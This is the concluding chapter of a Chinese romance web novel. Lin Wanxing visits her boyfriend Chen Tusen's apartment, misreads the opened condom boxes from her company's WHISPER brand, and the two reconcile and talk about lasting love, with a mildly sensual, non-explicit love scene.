“也？”林晚星挑眉问道，“还有谁？你睡不着？” 她还故意仰起头，认真地观察他的脸色：“还真是啊~都有黑眼圈了。你为什么睡不着啊？” 陈图森：“……” 他敛起微笑垂眸看着这个罪魁祸首，幽幽地说道：“你说呢？” 林晚星无辜地指着自己说：“我？我不知道啊？我睡得可好了。” 陈图森：“……” 林晚星挑着眉，故意问道：“难道是……昨晚没亲够？” 陈图森眼角一跳，正想张嘴，林晚星突然踮起脚尖，及时将他嘴堵住。 不过，只是轻轻碰了一下，她便松开了，得意地问道：“这样呢？够了吗？” 他的双眼瞬间像变成了一个海底黑洞，深邃幽黑，深不见底，底下的暗涛汹涌澎湃。 他抬眸瞥了一眼周围，其他同事都陆陆续续起来了。 他无奈地深吸一口气，咬着牙看着眼前的人说：“林晚星，回去你就知道错。”【你现在阅读的是 】 第48章（正文?完） 第48章 第 48 章 WHISPER…… 大家收拾东西过后, 驱车到小镇上吃完午饭就返回市区。 一路上，陈图森都很安静，没多少话。林晚星只当他是昨晚没睡好累了，也不打扰他开车。 然而, 回到市区后, 在一个本该右拐上桥去她家的路口, 陈图森直接开了过去。 “欸，你走错了。”她以为他真是太累, 走神了。 陈图森却双眼直勾勾地看着前方, 声线平直沉稳地说：“没走错。” “？”林晚星不解地问道, “我们要去哪啊？” 陈图森看向她，眸子里蓄着黑沉沉的波涛，声音是极其压抑克制的低沉：“我家。” 两个字像是一颗石子坠入湖面，在她的心里“噗通”一声激起高高的水花。 去他家？ 呼吸莫名失序, 她忍不住悄悄地深呼吸了一口。 他们再见以来, 两人虽然都没聊过这个话题，但也许是他们都清楚, 他们的关系是从身体关系开始的。所以这一次, 他们似乎都很默契地希望让那个阶段来得慢一点、晚一点, 他们一直都没提出过要去对方家里。 现在他们刚确立了关系，陈图森就说要带她去家里。 不过，这对于正在交往的情侣应该也是正常的吧。 热恋中的情侣，孤男寡女共处一室, 会发生什么呢？ 这是再清楚不过的事情。 她心里也并不是抗拒，毕竟无论是对陈图森，还是对亲密行为，他们都已经足够熟悉。 而且他们现在还是正儿八经的情侣关系, 没什么不好意思的。 可是，她就是觉得紧张了。 比以前做测评时还要紧张。 她也不知道为什么？ 或许是因为以前测评的时候，她真的只把陈图森当成测评的搭档，不会顾及感情，可以公事公办。 可是，现在他是她男朋友，在心理上好像没那么无所谓了，反而顾忌就多了。 车子缓缓地驶入地下停车场，光线骤然变暗，似乎也放大了林晚星的紧张。 陈图森停好车后，自己先走了下去。 林晚星有些忐忑地坐在车里，竟然没有勇气走下去。 副驾驶的门被打开了，陈图森的手搭在车门上，问道：“还不下车？怕啦？” 怕？她有什么好怕的？陈图森又不是吃人的妖怪。 她鼓起一口气，转身走下车来，昂着头看着陈图森说：“开什么玩笑，你家是天牢地府吗？我干嘛要害怕？” 陈图森“砰”地一声关上车门，侧了侧头，说：“不怕的话，走啊。” 林晚星不甘示弱：“走就走！” 陈图森低笑一声，一只手背起两人的背包，另一只手很自然地伸出手，抓起林晚星的手。 像是有一股电流从手掌一路流经到心脏。 心脏被轻轻地电了一下，酥酥麻麻的，险些漏跳了半拍。 这是他们第一次名正言顺地牵手，不是为了演戏给谁看。 她第一次感受到，陈图森的手宽厚有力，可以将她的小手紧紧包裹。 她整个人也像被他包裹住，踏实又有安全感。 林晚星的双眼从两人紧扣的手中抬起来，笑意像是落入池塘的气球，不受控地浮在脸上，轻轻荡漾。 确实也没什么好紧张的。 陈图森牵着林晚星走进电梯。 电梯在16楼停下，陈图森低头看了林晚星一眼，笑道：“走吧。” 走出电梯，陈图森牵着她往左边走。 这个小区的容积率不算高，陈图森住的这栋是两梯两户。 陈图森一只手仍牵着林晚星，另一只手的拇指放在指纹锁上，很快响起“滴滴”一声，门就打开了。 他推开门，牵着人走了进去。 林晚星还没来得及看清楚他的房子长什么样，只听到“啪啪”两声，他们两人的背包相继掉到了地上。 她刚抬起头，就看到陈图森抓着她的肩膀转了个圈，将她抵在门板上。 她还没任何准备，滚烫的吻就落了下来。 一夜的克制隐忍在这一刻倾泻而出，陈图森比昨晚更加贪婪的吮吸，两片薄唇在林晚星水润润的嘴唇上反复碾磨，交换着彼此的呼吸。 林晚星双手紧张地攥住陈图森胸前的衣服，将他的衣服抓出深深的褶皱。 陈图森被拽得向前压下，误以为她想要更深入。 于是，他的舌尖撬开她的唇缝，找到了她小巧的舌头，温柔地轻轻相碰。 林晚星开始感到呼吸不畅，吸入的空气都赶不上消耗的速度。 可是唇被堵得严丝合缝，她只能从对方身上汲取氧气。 陈图森一只手顺着林晚星的胳膊往下，从她的上衣下摆探入。 骨节修长的手指，流淌着沸腾的血液，滚烫的温度像是自带电流，刚触摸到腰脊，林晚星就浑身绷直。 陈图森手指继续向上，刚触摸到后背的金属搭扣时，林晚星几乎屏住了呼吸。 就在这时，一声响亮的门铃声打破了一室的旖旎。 两人动作猝然暂停。 林晚星双手抵在陈图森胸前将他推开，低着头小声说：“有人……” 她的后背还抵在门板上，他们在里面接吻，而隔着这扇门，有个人此时正站在门外。虽然对方看不见，但光想到这个场景，就让她羞得不行。 “不管。”陈图森的身子还在向前压，想要抵消林晚星施加在他胸前的力量，又像是要把她挤出门外一样。 这时，门铃再次响了起来。 林晚星瞬间紧张了起来，加大手上的力度，压低声音说：“你先看看是谁……” 陈图森无奈地闭起眼睛，深深地吐了一口气，卸掉了身上的力气。 林晚星感觉到失去了桎梏，立马像条泥鳅一样溜走。 陈图森理了理身上的衣服，又深呼吸了几口，平复了体内的潮热才打开门。 门外是这个小区的物业人员，穿着得体的制服，看到陈图森终于开门了，立马露出标准的职业微笑：“陈先生，不好意思打扰了。是这样的，您楼上的住户卫生间水管破裂，现在已经修好了。不过因为发现得比较晚，担心发生了渗水问题。您方便的话，麻烦检查下卫生间是否有渗水迹象，如果有的话，请及时跟我联系。我会与楼上的业主沟通处理的。” 陈图森点点头说：“可以，我待会检查下再跟你联系。” 物业人员鞠躬告辞：“麻烦您了。那我就先不打扰您了。” 陈图森关上门回过头，已经找不到人了。 他往屋里走去，在玄关拐角处看到了林晚星。 她背靠着墙站着，低着头咬着嘴唇，双手背在身后。 她这个局促的样子让陈图森忍不住感到好笑，问道：“你在干嘛？” 林晚星抬头看了他一眼，又低下头看着自己的双脚，脚尖上下摆动，说：“我的拖鞋在包里。” 刚才她做贼心虚，怕被人看到，想躲进屋里。 走到拐角，又发现自己没换鞋，她不敢往里走，也不好折出去拿鞋子。 只好躲在这里了。 陈图森嘴角咧了开来，说：“你等等。” 他返回玄关，却没拿林晚星的包，而是从鞋柜里拿出一双拖鞋，放到林晚星脚下，说：“新的。” 林晚星有些惊讶，问道：“你家里怎么会有女孩子的拖鞋？” 陈图森笑了笑，没回答，岔开话题，说：“你先换鞋，我去卫生间检查下。” 他仔细看过没有渗水，拿起手机给物业回复了信息后才走出来。 林晚星已经将两人的背包放在沙发上，她人也乖巧地坐在了沙发上，有点局促不安，似乎不知道该干什么的样子。 陈图森走过来，搂过她的肩膀问道：“想先洗澡吗？” 想的。昨晚虽然洗了澡，但毕竟环境简陋，洗得也不算舒服。 今天又折腾了一天。 林晚星点点头，又说道：“可是，我没衣服……” 都怪陈图森，一声不吭地就把她带来他家，害她什么都没准备。 陈图森却笑了笑，站起来，走进房间。 没多久又走出来，手上还拿着一套衣服，递到林晚星手上：“这睡衣是新的，还有一次性内裤。你的衣服待会可以先洗，有烘干机，明天早上就能穿。” 林晚星低头看着手上的衣服，有些怪异的感觉，问道：“你家里怎么这么多女孩子的东西。” 不仅拖鞋，连睡衣和一次性内裤都有。 陈图森笑道：“以备不时之需。” 不时之需？是一早就计划着把她带过来的，还是…… 林晚星不想多想，拿上衣服跟着陈图森走进卫生间。 她洗完澡出来，陈图森坐在沙发上看手机，看到她出来，抬头问她：“今晚吃披萨可以吗？” 林晚星点点头，走到他边上坐下，看着他在点餐。 下了单后，他把手机放桌上，站了起来，说：“我先去洗澡，待会外卖到了的话，帮我接下电话。” 林晚星的眼睛瞥了一眼他的手机，故意说道：“你就这么把手机交给我啊？万一是你的什么爱慕者、追求者打过来，被我接了，是不是不好啊？” 陈图森扬唇笑道：“那正好啊。你帮我告诉她们，以后不用再打来了。” “因为……”他俯身在林晚星额头上亲了一口，说，“我有女朋友了。” 林晚星有些受用，被哄得开心了不少，不好意思地赶他：“你赶紧去洗澡。” 陈图森笑着往房间走了几步，又回过头说：“对了，水壶里的水刚烧开，可能还很烫。冰箱里有饮料，你自己想喝什么就拿。” 林晚星不耐烦地催促：“知道啦，你赶紧去！” 陈图森去洗澡了，林晚星独自一个人没事干，抬头打量着陈图森的房子。 他这个房子真的很好，一个大横厅设计，南向180°看江，超级开阔的视野。 不过，屋子的设计倒是很单调，主色调就是黑白灰，传说中的性冷淡风。 虽然但是，确实很陈图森。 她在阳台上吹了下江风就进来了。 陈图森洗完出来的时候，外卖也正好到了。 两人在客厅坐下，陈图森打开投影，问道：“想不想看部电影？” 一边看电影一边吃东西，确实不错。 林晚星正用手机回复着信息，点点头，说：“可以啊。” 她回复完信息，看到右上角手机电量告急，问道：“你充电器在吗？我手机快没电了。” 陈图森正拿着遥控器挑选电影，说道：“在房间，你自己去拿吧，这里直走进去就是，在桌子上。” “哦。”林晚星站起来，走进陈图森的房间，左顾右看，没看到有充电器啊？ 她根据自己的习惯，觉得应该会放在床头柜里，顺手拉开了。 然而，下一秒，她却愣住了。 他床头柜的抽屉里，放着满满的好几盒安全套，而且都是蜜语的。 关键是，每一盒都开封过。 联想到刚才的拖鞋、睡衣和一次性内裤， 她浑身的血液仿佛凝固了，一股寒意从心底冒出。 他这些东西是为谁准备的。 还有，这些套，又是跟谁用的。 其实，她也不是不能接受他这段时间有过别的女人。 毕竟他们从来就没有什么正当的关系，也是她自己说不喜欢他的。 她不能要求他一直在原地等着她。 只是，她不能接受他骗她。 如果有过，就坦坦荡荡地告诉她，她是能接受的。 但是，一方面有过别的女人，一方面又假作深情地说他一直一个人，她就接受不了。 也许见她这么久没出来，陈图森的声音传了进来：“找到了吗？” 林晚星的血液开始恢复流通，她缓缓地关上抽屉，直起身来。 这时，陈图森也走了进来，在书桌上看了一眼，确实没有。 他顺手拉开书桌的抽屉，笑着说：“原来被我放里面了。” 他拿着充电器递给林晚星：“呐。” 林晚星低着头看了一眼充电器，缓缓地抬头看着陈图森。 她的脸色一定很吓人，陈图森顿时都吓坏了，紧张地问道：“你怎么了？” 两个人在一起最重要的是坦诚。 不管他有没做到，林晚星希望自己能做到。 所以，她不想回避，无论结果是什么，她想问清楚。 “你抽屉里的套，是跟谁用的？还有，你家里为什么会备着这么多女孩的东西？” “套？”陈图森眉头轻蹙了一下，看向她身后的床头柜，立马明白了。 他双手轻轻地抓着林晚星的胳膊：“林晚星，你听我说，我发誓，我真的没有过别的女人，只有你一个。” “那你怎么解释。” 他牵起她的手，走到床边，弯腰拉开抽屉，将一盒盒安全套拿出来，打开说：“都是没用过的。” 里面的套，一个都没少。 林晚星更加不解了。 陈图森继续说道：“你走后，我就关注了你们公司和你的账号。所以，你们每次有新产品上市，我都知道。每当这时候，我就会想起你以前会拿着新产品过来要跟我测评，也会想着这个产品，或许有你参与设计的。所以，这两年来，你们公司的每一款新产品，我都有买。我没打算用，更没打算跟其她人用。我之所以打开，只是怀念我们以前的日子，以及，想起你。” 他会去研究每一款产品的特点，想起他们测评时讨论过的问题，会想起林晚星在设计这款产品的时候，是如何考虑的，又是如何改进这些不足的。 林晚星的眼睛看着摆在床头柜上的套，确实，每一款都是她参与设计的。 只是，他没想到，这两年来，陈图森竟然还一直关注着她，关注着她们公司的产品。 她的脑海里突然想起陈图森说过的一句话：“我从来没有离开过。” 原来是这样的意思。 他们虽然分开了，但他的世界里，一直有她的影子。 陈图森继续解释道：“还有这些拖鞋、睡衣，是我们再见后，我才买的。” 他有些不好意思地承认：“虽然，我是不想太着急，但是……林晚星，你得承认，我是一个男人，面对自己喜欢的女孩，我不能保证自己每一次都有这么好的定力。” 就像今天，他就真的忍不住将她带了回来。 他之所以提前准备好这些，就是为了预防这种突发情况。 不希望林晚星来到这里，什么都没有，很狼狈的样子。 也希望她觉得，这里可以像她的家一样，随时都可以来。 林晚星知道自己误会了陈图森，羞愧地低下头。 陈图森却没有要怪她的意思，轻轻地将她抱入怀里：“对不起，我应该一早就跟你说清楚，免得你胡思乱想。” 林晚星很不好意思：“不关你事，是我太敏感了。” 陈图森放开她，低着头哄道：“那现在可以去看电影了？” 林晚星却皱了皱眉：“还看电影啊？你今晚定力这么好？” 陈图森倏地怔住：“你的意思是……” 情绪都酝酿到这一步了，把她感动得一塌糊涂，又在眼前摆满了琳琅满目的套，他是怎么还能装傻扮懵的。 她有点恨铁不成钢，埋怨道：“该看电影的时候不看，不该看的时候你就想着看！” “你平时就是电影看太少了，不知道一般这时候，男女主角都应该滚床单了！” 或者，至少来个吻吧。 谁还傻乎乎地去看别人演。 这么想着，林晚星干脆主动捧起他的脸，踮起脚尖，吻了上去。 陈图森双手下意识地扶住她的腰，双眼怔怔地看着近到虚焦的林晚星。 又被自己的女朋友撩到了。 那今晚的电影，就由他们来主演吧。 他缓缓地阖上双眼，双手圈住林晚星的腰，化被动为主动，含住她的两片唇瓣，将她压倒在床上，续上下午在玄关处未完成的吻。 陈图森吻了很久，很久。有好几次，林晚星都感觉自己在窒息的边缘，但是每到这时候，陈图森就会稍微放松力度，让她重获喘息的机会。一松一驰，节奏游刃有余，林晚星彻底沉溺。 呼吸吞吐之间，似乎有一个无形的指挥家在带领两人的节奏，彼此就连心跳都逐渐同频。 恍惚中，她想起张爱玲写过的一句话：“口口通往女人的心。” 其实不然。 接吻才是更接近心脏的亲密行为。 等到陈图森终于松开了她，林晚星整个人都是滚烫滚烫的。 他却仍然不急。 细细密密的吻依次落在额上、脸上、耳畔上。 “林晚星，我爱你，只有你。” 耳畔的吻，带着温热的告白钻入她的耳朵，心房好像有一颗泡泡“砰”地一下被戳破了，然后又冒出了更多的泡泡。 她觉得自己整个人都被透明的、梦幻的泡泡给包裹。 WHISPER. 她突然明白了WHISPER的意思。 耳畔溢出的蜜语。 情到浓时的告白。 这就是心动的感觉吗？ 她突然明白为什么顾歆说，她觉得WHISPER这个词意外地与这个产品适配。 她希望WHISPER是一款安全的、让女孩子信任的产品。 但产品再好，也只有和自己爱的人，和尊重自己的人做.爱才能真正地信任和放心。 其实顾歆一早就告诉了她。 无论恋爱还是□□，前提都必须要有爱。 只有性是无法带来真正的爱，但是爱可以给性带来最愉悦的体验。 在这个把上.床当成快餐的时代，在这个人们越来越不屑于谈爱、不相信爱的时代，她们还是希望给女孩子们创造最美好的爱的体验。 她双手勾住陈图森的脖子，回吻了回去：“陈图森，我也爱你。” 这是两人所有的测评中，体验最好的一次。 不是她们的产品有多大的提升，也不是两人的技巧有飞跃性的进步，而是，他们终于可以心意相通，放心地将自己交付给彼此。 …… 事后，陈图森将她搂在怀里，她的背贴着他的胸。 她的头枕在他的肩窝，他的两只手在玩她的葱白一样的手指。 陈图森声音喑哑地叫道：“林晚星。” “嗯？”林晚星轻轻地应道，刚开口，发现自己的声音也有些哑。 陈图森：“搬过来吧，搬过来和我一起住吧。” 从他买这个房子那天起，他就希望以后会有一天和林晚星一起住进来。 林晚星双眼看着眼前缠绕一起的两双手，却没有立马回应。 她也不是不想，只是觉得好像有点太快了。 他们昨天刚确立了关系，今天就上床了。 按照这样的速度，明天搬家，感觉后天就可以领证了。 她喜欢陈图森，她享受和他谈恋爱的甜蜜。 但她也很享受现在各自有自己空间的状态。 这个房子，对现在的她来说，还是很陌生。 所以她今天刚来到这里，才会始终觉得局促，才会看到一点点异样就触发敏感肌。 她很爱陈图森，但她又好像已经不是只依靠爱活下去的人了。 她不再是当初那个，拼命渴望、拼命地想要用一切方法抓住父母一丝丝的爱的女孩。 也不是当初那个，想要用愚蠢的、肤浅的肉.体关系去证明自己也是一个会被人爱的女孩。 在爱这件事情上，她不需要再去讨好。 她笑了笑，说：“过段时间再说吧。” 陈图森突然害怕，扶着林晚星坐起来，认真地看着她问道：“你还是不相信我吗？还是不相信我只爱你一个，不相信我们可以一直走下去？” 林晚星正想张嘴说话，陈图森又着急地打断她：“你听我说，林晚星。两年前，你说你不相信有什么关系可以永远。那一晚，我想了一晚上，我希望能够找出一个办法，证明给你看，我们的关系是可以永远的。可是，对不起，我找不到，所以我离开了。这两年，我无时无刻不在考虑这个问题，我希望找出这个解答这道题的方法再去找你。但是，很抱歉，我直到现在还是找不到。” 陈图森：“但是我相信我自己，我不是一个见异思迁的人，我认定了什么，就会认定一辈子的。” 林晚星抿起双唇，忍不住笑了。 他真的好可爱。 古板认真严肃的可爱。 林晚星看着他，轻轻地摇摇头：“陈图森，你搞错了。” 陈图森一愣：“搞错了？” 林晚星笑着说：“我不是相信我们可以永远，才和你在一起的。” 陈图森微微蹙眉，表示不解。 林晚星：“我是不再害怕我们会分开才跟你在一起。” 陈图森倏地愣住。 林晚星：“以前，我对感情很没安全感。我希望有亘久不变的感情。可是，没走到最后，又有谁能保证，两人真的能相爱一辈子呢？” “所以，我现在想通了。” 林晚星抬手抚摸着陈图森的脸，笑着说：“你还记得你在沙滩上对我说的那句话吗？你说，你会因为我而感到自豪。我真的好感动。我想，就算未来有一天我们真的分开了，我也会很感激很感激，你这么用心地、深深地爱过我。” “只要想到，曾经有一个人如此真挚地爱过我，我就会觉得很幸福，也会充满力量地走下去。” “陈图森，重要的不是未来，而是当下，我们相爱的每一刻。” 陈图森整个人都被摄住了。 他看着眼前身材娇小的女孩，她外形和以前并没有太大的区别，然而他却感觉她整个人都变了。 变得充满了力量。 他本来打算，这一次，他要成为她的后盾，他要给予她安全感，他要保护她，让她可以依赖。 没想到，她已成为了自己的支柱。 陈图森红了眼眶，忍不住又在她的唇上轻啄了一口，哽咽地说： “但是，林晚星，我还是会证明给你看的。我会用一辈子给你证明，我对你的爱，永远都不会变。” 林晚星笑着点点头：“好啊，等我们到了八十、九十岁，行将就木的时候，我们再看看，身边的人，还是不是彼此。” 爱从来都不是一道简答题，无法用三言两语去诠释。 一辈子的爱，更是只有时间可以作答。 这道证明题，他们会用一辈子去验证。 （正文完）【你现在阅读的是 】